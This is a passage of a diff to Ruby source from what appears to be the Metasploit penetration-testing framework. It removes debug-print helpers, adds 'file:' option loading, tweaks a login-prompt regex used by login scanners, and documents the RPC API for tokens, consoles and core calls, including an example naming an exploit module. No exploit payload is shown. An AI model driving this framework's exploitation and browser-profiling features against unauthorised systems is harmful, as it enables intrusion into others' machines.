|
end
|
||||||
|
|
||||||
|
# Call our parent class's autoruns processing method
|
||||||
|
super
|
||||||
|
end
|
||||||
|
#
|
||||||
|
# Returns the type of session.
|
||||||
|
#
|
||||||
|
def self.type
|
||||||
|
"powershell"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the session description.
|
||||||
|
#
|
||||||
|
def desc
|
||||||
|
"Powershell session"
|
||||||
|
end
|
||||||
|
end
|
|
@ -35,7 +35,7 @@ module Auxiliary::Login
|
||||||
#
|
#
|
||||||
# Some of these regexes borrowed from NeXpose, others added from datasets
|
# Some of these regexes borrowed from NeXpose, others added from datasets
|
||||||
#
|
#
|
||||||
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
|
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
||||||
@password_regex = /(?:password|passwd)\s*\:/i
|
@password_regex = /(?:password|passwd)\s*\:/i
|
||||||
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
||||||
@failure_regex = /(?:
|
@failure_regex = /(?:
|
||||||
|
|
|
@ -92,11 +92,7 @@ module Exploit::Remote::HttpServer
|
||||||
def print_error(msg='')
|
def print_error(msg='')
|
||||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||||
end
|
end
|
||||||
# :category: print_* overrides
|
|
||||||
# Prepends client and module name if inside a thread with a #cli
|
|
||||||
def print_debug(msg='')
|
|
||||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
|
||||||
end
|
|
||||||
#
|
#
|
||||||
# :category: print_* overrides
|
# :category: print_* overrides
|
||||||
# Prepends client and module name if inside a thread with a #cli
|
# Prepends client and module name if inside a thread with a #cli
|
||||||
|
@ -126,11 +122,6 @@ module Exploit::Remote::HttpServer
|
||||||
end
|
end
|
||||||
# :category: print_* overrides
|
# :category: print_* overrides
|
||||||
# Prepends client and module name if inside a thread with a #cli
|
# Prepends client and module name if inside a thread with a #cli
|
||||||
def vprint_debug(msg='')
|
|
||||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
|
||||||
end
|
|
||||||
# :category: print_* overrides
|
|
||||||
# Prepends client and module name if inside a thread with a #cli
|
|
||||||
def vprint_warning(msg='')
|
def vprint_warning(msg='')
|
||||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||||
end
|
end
|
||||||
|
|
|
@ -219,7 +219,7 @@ module Msf
|
||||||
|
|
||||||
@requirements.each do |k, v|
|
@requirements.each do |k, v|
|
||||||
expected = k != :vuln_test ? v : 'true'
|
expected = k != :vuln_test ? v : 'true'
|
||||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||||
|
|
||||||
if k == :activex
|
if k == :activex
|
||||||
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||||
|
@ -334,7 +334,7 @@ module Msf
|
||||||
when :script
|
when :script
|
||||||
# Gathers target data from a POST request
|
# Gathers target data from a POST request
|
||||||
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
|
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
|
||||||
vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
|
vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
|
||||||
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
|
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
|
||||||
when :headers
|
when :headers
|
||||||
# Gathers target data from headers
|
# Gathers target data from headers
|
||||||
|
|
|
@ -1,9 +1,4 @@
|
||||||
module Msf::Module::UI::Message::Verbose
|
module Msf::Module::UI::Message::Verbose
|
||||||
# Verbose version of #print_debug
|
|
||||||
def vprint_debug(msg)
|
|
||||||
print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Verbose version of #print_error
|
# Verbose version of #print_error
|
||||||
def vprint_error(msg)
|
def vprint_error(msg)
|
||||||
print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
|
print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
|
||||||
|
|
|
@ -14,18 +14,21 @@ class OptAddressRange < OptBase
|
||||||
|
|
||||||
def normalize(value)
|
def normalize(value)
|
||||||
return nil unless value.kind_of?(String)
|
return nil unless value.kind_of?(String)
|
||||||
if value =~ /^rand:(.*)/
|
if (value =~ /^file:(.*)/)
|
||||||
|
path = $1
|
||||||
|
return false if not File.exists?(path) or File.directory?(path)
|
||||||
|
return File.readlines(path).map{ |s| s.strip}.join(" ")
|
||||||
|
elsif (value =~ /^rand:(.*)/)
|
||||||
count = $1.to_i
|
count = $1.to_i
|
||||||
return false if count < 1
|
return false if count < 1
|
||||||
ret = ''
|
ret = ''
|
||||||
count.times do
|
count.times {
|
||||||
ret << ' ' if not ret.empty?
|
ret << " " if not ret.empty?
|
||||||
ret << [ rand(0x100000000) ].pack('N').unpack('C*').map{|x| x.to_s }.join('.')
|
ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
|
||||||
end
|
}
|
||||||
return ret
|
return ret
|
||||||
end
|
end
|
||||||
|
return value
|
||||||
value
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def valid?(value)
|
def valid?(value)
|
||||||
|
|
|
@ -13,6 +13,14 @@ class OptRaw < OptBase
|
||||||
end
|
end
|
||||||
|
|
||||||
def normalize(value)
|
def normalize(value)
|
||||||
|
if (value =~ /^file:(.*)/)
|
||||||
|
path = $1
|
||||||
|
begin
|
||||||
|
value = File.read(path)
|
||||||
|
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
||||||
|
value = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
value
|
value
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -13,6 +13,14 @@ class OptString < OptBase
|
||||||
end
|
end
|
||||||
|
|
||||||
def normalize(value)
|
def normalize(value)
|
||||||
|
if (value =~ /^file:(.*)/)
|
||||||
|
path = $1
|
||||||
|
begin
|
||||||
|
value = File.read(path)
|
||||||
|
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
||||||
|
value = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
value
|
value
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -119,13 +119,6 @@ class Plugin
|
||||||
output.print_good(msg) if (output)
|
output.print_good(msg) if (output)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Prints a 'debug' message.
|
|
||||||
#
|
|
||||||
def print_debug(msg='')
|
|
||||||
output.print_debug(msg) if (output)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Prints a status line.
|
# Prints a status line.
|
||||||
#
|
#
|
||||||
|
|
|
@ -331,7 +331,6 @@ protected
|
||||||
begin
|
begin
|
||||||
client.sys.config.getprivs()
|
client.sys.config.getprivs()
|
||||||
root_key, base_key = session.sys.registry.splitkey(key)
|
root_key, base_key = session.sys.registry.splitkey(key)
|
||||||
#print_debug("Loading file #{file}")
|
|
||||||
begin
|
begin
|
||||||
loadres = session.sys.registry.load_key(root_key, base_key, file)
|
loadres = session.sys.registry.load_key(root_key, base_key, file)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
@ -349,7 +348,6 @@ protected
|
||||||
#print_error("An unknown error has occurred: #{loadres.to_s}")
|
#print_error("An unknown error has occurred: #{loadres.to_s}")
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
#print_debug("Registry Hive Loaded Successfully: #{key}")
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -377,7 +375,6 @@ protected
|
||||||
#print_error("An unknown error has occurred: #{unloadres.to_s}")
|
#print_error("An unknown error has occurred: #{unloadres.to_s}")
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
#print_debug("Registry Hive Unloaded Successfully: #{key}")
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -12,9 +12,21 @@ module RPC
|
||||||
|
|
||||||
class Client
|
class Client
|
||||||
|
|
||||||
attr_accessor :token, :info
|
# @!attribute token
|
||||||
|
# @return [String] A login token.
|
||||||
|
attr_accessor :token
|
||||||
|
|
||||||
|
# @!attribute info
|
||||||
|
# @return [Hash] Login information.
|
||||||
|
attr_accessor :info
|
||||||
|
|
||||||
|
|
||||||
|
# Initializes the RPC client to connect to: https://127.0.0.1:3790 (TLS1)
|
||||||
|
# The connection information is overridden through the optional info hash.
|
||||||
|
#
|
||||||
|
# @param [Hash] info Information needed for the initialization.
|
||||||
|
# @option info [String] :token A token used by the client.
|
||||||
|
# @return [void]
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
self.info = {
|
self.info = {
|
||||||
:host => '127.0.0.1',
|
:host => '127.0.0.1',
|
||||||
|
@ -29,6 +41,13 @@ class Client
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes
|
||||||
|
# after the last request was made.
|
||||||
|
#
|
||||||
|
# @param [String] user Username.
|
||||||
|
# @param [String] pass Password.
|
||||||
|
# @raise RuntimeError Indicating a failed authentication.
|
||||||
|
# @return [TrueClass] Indicating a successful login.
|
||||||
def login(user,pass)
|
def login(user,pass)
|
||||||
res = self.call("auth.login", user, pass)
|
res = self.call("auth.login", user, pass)
|
||||||
unless (res && res['result'] == "success")
|
unless (res && res['result'] == "success")
|
||||||
|
@ -38,8 +57,23 @@ class Client
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
# Prepend the authentication token as the first parameter
|
|
||||||
# of every call except auth.login. Requires the
|
# Calls an API.
|
||||||
|
#
|
||||||
|
# @param [String] meth The RPC API to call.
|
||||||
|
# @param [Array<string>] args The arguments to pass.
|
||||||
|
# @raise [RuntimeError] Something is wrong while calling the remote API, including:
|
||||||
|
# * A missing token (your client needs to authenticate).
|
||||||
|
# * A unexpected response from the server, such as a timeout or unexpected HTTP code.
|
||||||
|
# @raise [Msf::RPC::ServerException] The RPC service returns an error.
|
||||||
|
# @return [Hash] The API response. It contains the following keys:
|
||||||
|
# * 'version' [String] Framework version.
|
||||||
|
# * 'ruby' [String] Ruby version.
|
||||||
|
# * 'api' [String] API version.
|
||||||
|
# @example
|
||||||
|
# # This will return something like this:
|
||||||
|
# # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"}
|
||||||
|
# rpc.call('core.version')
|
||||||
def call(meth, *args)
|
def call(meth, *args)
|
||||||
unless meth == "auth.login"
|
unless meth == "auth.login"
|
||||||
unless self.token
|
unless self.token
|
||||||
|
@ -84,6 +118,10 @@ class Client
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Closes the client.
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
def close
|
def close
|
||||||
if @cli && @cli.conn?
|
if @cli && @cli.conn?
|
||||||
@cli.close
|
@cli.close
|
||||||
|
|
|
@ -8,6 +8,11 @@ API_VERSION = "1.0"
|
||||||
class Exception < RuntimeError
|
class Exception < RuntimeError
|
||||||
attr_accessor :code, :message
|
attr_accessor :code, :message
|
||||||
|
|
||||||
|
# Initializes Exception.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] code An error code.
|
||||||
|
# @param [String] message An error message.
|
||||||
|
# @return [void]
|
||||||
def initialize(code, message)
|
def initialize(code, message)
|
||||||
self.code = code
|
self.code = code
|
||||||
self.message = message
|
self.message = message
|
||||||
|
@ -18,6 +23,13 @@ end
|
||||||
class ServerException < RuntimeError
|
class ServerException < RuntimeError
|
||||||
attr_accessor :code, :error_message, :error_class, :error_backtrace
|
attr_accessor :code, :error_message, :error_class, :error_backtrace
|
||||||
|
|
||||||
|
# Initializes ServerException.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] code An error code.
|
||||||
|
# @param [String] error_message An error message.
|
||||||
|
# @param [Exception] error_class An error class.
|
||||||
|
# @param [Array] error_backtrace A backtrace of the error.
|
||||||
|
# @return [void]
|
||||||
def initialize(code, error_message, error_class, error_backtrace)
|
def initialize(code, error_message, error_class, error_backtrace)
|
||||||
self.code = code
|
self.code = code
|
||||||
self.error_message = error_message
|
self.error_message = error_message
|
||||||
|
|
|
@ -11,8 +11,21 @@ begin
|
||||||
rescue ::LoadError
|
rescue ::LoadError
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Handles client authentication. The authentication token will expire 5 minutes after the
|
||||||
|
# last request was made.
|
||||||
|
#
|
||||||
|
# @param [String] user The username.
|
||||||
|
# @param [String] pass The password.
|
||||||
|
# @raise [Msf::RPC::Exception] Something is wrong while authenticating, you can possibly get:
|
||||||
|
# * 401 Failed authentication.
|
||||||
|
# @return [Hash] A hash indicating a successful login, it contains the following keys:
|
||||||
|
# * 'result' [String] A successful message: 'success'.
|
||||||
|
# * 'token' [String] A token for the authentication.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This returns something like the following:
|
||||||
|
# # {"result"=>"success", "token"=>"TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ"}
|
||||||
|
# rpc.call('auth.login_noauth', 'username', 'password')
|
||||||
def rpc_login_noauth(user,pass)
|
def rpc_login_noauth(user,pass)
|
||||||
|
|
||||||
if not (user.kind_of?(::String) and pass.kind_of?(::String))
|
if not (user.kind_of?(::String) and pass.kind_of?(::String))
|
||||||
error(401, "Login Failed")
|
error(401, "Login Failed")
|
||||||
end
|
end
|
||||||
|
@ -42,6 +55,19 @@ end
|
||||||
{ "result" => "success", "token" => token }
|
{ "result" => "success", "token" => token }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Handles client deauthentication.
|
||||||
|
#
|
||||||
|
# @param [String] token The user's token to log off.
|
||||||
|
# @raise [Msf::RPC::Exception] An error indicating a failed deauthentication, including:
|
||||||
|
# * 500 Invalid authentication token.
|
||||||
|
# * 500 Permanent authentication token.
|
||||||
|
# @return [Hash] A hash indiciating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This returns something like:
|
||||||
|
# # {"result"=>"success"}
|
||||||
|
# rpc.call('auth.logout', 'TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ')
|
||||||
def rpc_logout(token)
|
def rpc_logout(token)
|
||||||
found = self.service.tokens[token]
|
found = self.service.tokens[token]
|
||||||
error("500", "Invalid Authentication Token") if not found
|
error("500", "Invalid Authentication Token") if not found
|
||||||
|
@ -53,6 +79,16 @@ end
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of authentication tokens, including the ones that are
|
||||||
|
# temporary, permanent, or stored in the backend.
|
||||||
|
#
|
||||||
|
# @return [Hash] A hash that contains a list of authentication tokens. It contains the following key:
|
||||||
|
# * 'tokens' [Array<string>] An array of tokens.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This returns something like:
|
||||||
|
# # {"tokens"=>["TEMPf5I4Ec8cBEKVD8D7xtIbTXWoKapP", "TEMPtcVmMld8w74zo0CYeosM3iXW0nJz"]}
|
||||||
|
# rpc.call('auth.token_list')
|
||||||
def rpc_token_list
|
def rpc_token_list
|
||||||
res = self.service.tokens.keys
|
res = self.service.tokens.keys
|
||||||
begin
|
begin
|
||||||
|
@ -66,6 +102,14 @@ end
|
||||||
{ "tokens" => res }
|
{ "tokens" => res }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Adds a new token to the database.
|
||||||
|
#
|
||||||
|
# @param [String] token A unique token.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('auth.token_add', 'UNIQUE_TOKEN')
|
||||||
def rpc_token_add(token)
|
def rpc_token_add(token)
|
||||||
db = false
|
db = false
|
||||||
begin
|
begin
|
||||||
|
@ -85,6 +129,16 @@ end
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generates a random 32-byte authentication token. The token is added to the
|
||||||
|
# database as a side-effect.
|
||||||
|
#
|
||||||
|
# @return [Hash] A hash indicating the action was successful, also the new token.
|
||||||
|
# It contains the following keys:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# * 'token' [String] A new token.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('auth.token_generate')
|
||||||
def rpc_token_generate
|
def rpc_token_generate
|
||||||
token = Rex::Text.rand_text_alphanumeric(32)
|
token = Rex::Text.rand_text_alphanumeric(32)
|
||||||
db = false
|
db = false
|
||||||
|
@ -106,6 +160,16 @@ end
|
||||||
{ "result" => "success", "token" => token }
|
{ "result" => "success", "token" => token }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Removes a token from the database. Similar to what #rpc_logout does internally, except this
|
||||||
|
# can remove tokens stored in the database backend (Mdm).
|
||||||
|
#
|
||||||
|
# @see #rpc_logout
|
||||||
|
# @param [String] token The token to delete.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('auth.token_remove', 'TEMPtcVmMld8w74zo0CYeosM3iXW0nJz')
|
||||||
def rpc_token_remove(token)
|
def rpc_token_remove(token)
|
||||||
db = false
|
db = false
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -5,6 +5,9 @@ module RPC
|
||||||
class RPC_Base
|
class RPC_Base
|
||||||
attr_accessor :framework, :service, :tokens, :users
|
attr_accessor :framework, :service, :tokens, :users
|
||||||
|
|
||||||
|
# Initializes framework, service, tokens, and users
|
||||||
|
#
|
||||||
|
# return [void]
|
||||||
def initialize(service)
|
def initialize(service)
|
||||||
self.service = service
|
self.service = service
|
||||||
self.framework = service.framework
|
self.framework = service.framework
|
||||||
|
@ -12,6 +15,12 @@ class RPC_Base
|
||||||
self.users = service.users
|
self.users = service.users
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Raises an Msf::RPC Exception.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] code The error code to raise.
|
||||||
|
# @param [String] message The error message.
|
||||||
|
# @raise [Msf::RPC::Exception]
|
||||||
|
# @return [void]
|
||||||
def error(code, message)
|
def error(code, message)
|
||||||
raise Msf::RPC::Exception.new(code, message)
|
raise Msf::RPC::Exception.new(code, message)
|
||||||
end
|
end
|
||||||
|
|
|
@ -7,11 +7,24 @@ module Msf
|
||||||
module RPC
|
module RPC
|
||||||
class RPC_Console < RPC_Base
|
class RPC_Console < RPC_Base
|
||||||
|
|
||||||
|
# Initializes the RPC console
|
||||||
|
#
|
||||||
|
# @return [Msf::Ui::Web::Driver]
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
@console_driver = Msf::Ui::Web::Driver.new(:framework => framework)
|
@console_driver = Msf::Ui::Web::Driver.new(:framework => framework)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Creates a new framework console instance.
|
||||||
|
#
|
||||||
|
# @param [Hash] opts See Msf::Ui::Web::Driver#create_console
|
||||||
|
# @return [Hash] Information about the new console. It contains the following keys:
|
||||||
|
# * 'id' [Fixnum] The console's ID.
|
||||||
|
# * 'prompt' [String] The framework prompt (example: 'msf > ')
|
||||||
|
# * 'busy' [TrueClass] The console's busy state, or
|
||||||
|
# * 'busy' [FalseClass] The console's busy state.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('console.create')
|
||||||
def rpc_create(opts={})
|
def rpc_create(opts={})
|
||||||
cid = @console_driver.create_console(opts)
|
cid = @console_driver.create_console(opts)
|
||||||
{
|
{
|
||||||
|
@ -21,6 +34,17 @@ class RPC_Console < RPC_Base
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of framework consoles.
|
||||||
|
#
|
||||||
|
# @return [Hash] Console information.
|
||||||
|
# * 'consoles' [Array<Hash>] consoles, each element is a hash that includes:
|
||||||
|
# * 'id' [Fixnum] The console's ID
|
||||||
|
# * 'prompt' [String] The framework prompt (example: 'msf > ')
|
||||||
|
# * 'busy' [TrueClass] The console's busy state, or
|
||||||
|
# * 'busy' [FalseClass] The console's busy state.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('console.list')
|
||||||
def rpc_list
|
def rpc_list
|
||||||
ret = []
|
ret = []
|
||||||
@console_driver.consoles.each_key do |cid|
|
@console_driver.consoles.each_key do |cid|
|
||||||
|
@ -33,6 +57,15 @@ class RPC_Console < RPC_Base
|
||||||
{'consoles' => ret}
|
{'consoles' => ret}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Deletes a framework console instance.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] cid Framework console ID.
|
||||||
|
# @return [Hash] A result indicating whether the action was successful or not.
|
||||||
|
# It contains the following key:
|
||||||
|
# * 'result' [String] Either 'success' or 'failure'.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('console.destroy', 1)
|
||||||
def rpc_destroy(cid)
|
def rpc_destroy(cid)
|
||||||
cid = cid.to_s
|
cid = cid.to_s
|
||||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||||
|
@ -40,6 +73,21 @@ class RPC_Console < RPC_Base
|
||||||
{ 'result' => res ? 'success' : 'failure' }
|
{ 'result' => res ? 'success' : 'failure' }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the framework console output in raw form.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] cid Framework console ID.
|
||||||
|
# @return [Hash] There are two different hashes you might get:
|
||||||
|
#
|
||||||
|
# If the console ID is invalid, you will get a hash like the following:
|
||||||
|
# * 'result' [String] A value that says 'failure'.
|
||||||
|
# If the console ID is valid, you will get a hash like the following:
|
||||||
|
# * 'data' [String] The output the framework console produces (example: the banner)
|
||||||
|
# * 'prompt' [String] The framework prompt (example: 'msf > ')
|
||||||
|
# * 'busy' [TrueClass] The console's busy state, or
|
||||||
|
# * 'busy' [FalseClass] The console's busy state.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('console.read', 1)
|
||||||
def rpc_read(cid)
|
def rpc_read(cid)
|
||||||
cid = cid.to_s
|
cid = cid.to_s
|
||||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||||
|
@ -50,18 +98,59 @@ class RPC_Console < RPC_Base
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sends an input (such as a command) to the framework console.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] cid Framework console ID.
|
||||||
|
# @param [String] data User input.
|
||||||
|
# @return [Hash] There are two different hashes you might get:
|
||||||
|
#
|
||||||
|
# If the console ID is invalid, you will get a hash like the following:
|
||||||
|
# * 'result' [String] A value that says 'failure'.
|
||||||
|
# If the console ID is invalid, you will get a hash like the following:
|
||||||
|
# * 'wrote' [Fixnum] Number of bytes sent.
|
||||||
|
# @note Remember to add a newline (\\r\\n) at the end of input, otherwise
|
||||||
|
# the console will not do anything. And you will need to use the
|
||||||
|
# #rpc_read method to retrieve the output again.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This will show the current module's options.
|
||||||
|
# rpc.call('console.write', 4, "show options\r\n")
|
||||||
def rpc_write(cid, data)
|
def rpc_write(cid, data)
|
||||||
cid = cid.to_s
|
cid = cid.to_s
|
||||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||||
{ "wrote" => @console_driver.write_console(cid, data || '') }
|
{ "wrote" => @console_driver.write_console(cid, data || '') }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the tab-completed version of your input (such as a module path).
|
||||||
|
#
|
||||||
|
# @param [Fixnum] cid Framework console ID.
|
||||||
|
# @param [String] line Command.
|
||||||
|
# @return [Hash] There are two different hashes you might get:
|
||||||
|
#
|
||||||
|
# If the console ID is invalid, you will get a hash like the following:
|
||||||
|
# * 'result' [String] A value that says 'failure'.
|
||||||
|
# If the console ID is valid, you will get a hash like the following:
|
||||||
|
# * 'tabs' [String] The tab-completed version of the command.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This will return:
|
||||||
|
# # {"tabs"=>["use exploit/windows/smb/ms08_067_netapi"]}
|
||||||
|
# rpc.call('console.tabs', 4, "use exploit/windows/smb/ms08_067_")
|
||||||
def rpc_tabs(cid, line)
|
def rpc_tabs(cid, line)
|
||||||
cid = cid.to_s
|
cid = cid.to_s
|
||||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||||
{ "tabs" => @console_driver.consoles[cid].tab_complete(line) }
|
{ "tabs" => @console_driver.consoles[cid].tab_complete(line) }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Kills a framework session. This serves the same purpose as [CTRL]+[C] to abort an interactive session.
|
||||||
|
# You might also want to considering using the session API calls instead of this.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] cid Framework console ID.
|
||||||
|
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
|
||||||
|
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully killed, otherwise 'failed')
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('console.session_kill', 4)
|
||||||
def rpc_session_kill(cid)
|
def rpc_session_kill(cid)
|
||||||
cid = cid.to_s
|
cid = cid.to_s
|
||||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||||
|
@ -69,6 +158,15 @@ class RPC_Console < RPC_Base
|
||||||
{ 'result' => 'success' }
|
{ 'result' => 'success' }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Detaches a framework session. This serves the same purpose as [CTRL]+[Z] to
|
||||||
|
# background an interactive session.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] cid Framework console ID.
|
||||||
|
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
|
||||||
|
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully detached, otherwise 'failed')
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('console.session_detach', 4)
|
||||||
def rpc_session_detach(cid)
|
def rpc_session_detach(cid)
|
||||||
cid = cid.to_s
|
cid = cid.to_s
|
||||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||||
|
|
|
@ -3,6 +3,14 @@ module Msf
|
||||||
module RPC
|
module RPC
|
||||||
class RPC_Core < RPC_Base
|
class RPC_Core < RPC_Base
|
||||||
|
|
||||||
|
# Returns the RPC service versions.
|
||||||
|
#
|
||||||
|
# @return [Hash] A hash that includes the version information:
|
||||||
|
# * 'version' [String] Framework version
|
||||||
|
# * 'ruby' [String] Ruby version
|
||||||
|
# * 'api' [String] API version
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.version')
|
||||||
def rpc_version
|
def rpc_version
|
||||||
{
|
{
|
||||||
"version" => ::Msf::Framework::Version,
|
"version" => ::Msf::Framework::Version,
|
||||||
|
@ -11,40 +19,117 @@ class RPC_Core < RPC_Base
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Stops the RPC service.
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.stop')
|
||||||
def rpc_stop
|
def rpc_stop
|
||||||
self.service.stop
|
self.service.stop
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a global datstore option.
|
||||||
|
#
|
||||||
|
# @param [String] var The name of the global datastore.
|
||||||
|
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.getg', 'GlobalSetting')
|
||||||
def rpc_getg(var)
|
def rpc_getg(var)
|
||||||
val = framework.datastore[var]
|
val = framework.datastore[var]
|
||||||
{ var.to_s => val.to_s }
|
{ var.to_s => val.to_s }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sets a global datastore option.
|
||||||
|
#
|
||||||
|
# @param [String] var The hash key of the global datastore option.
|
||||||
|
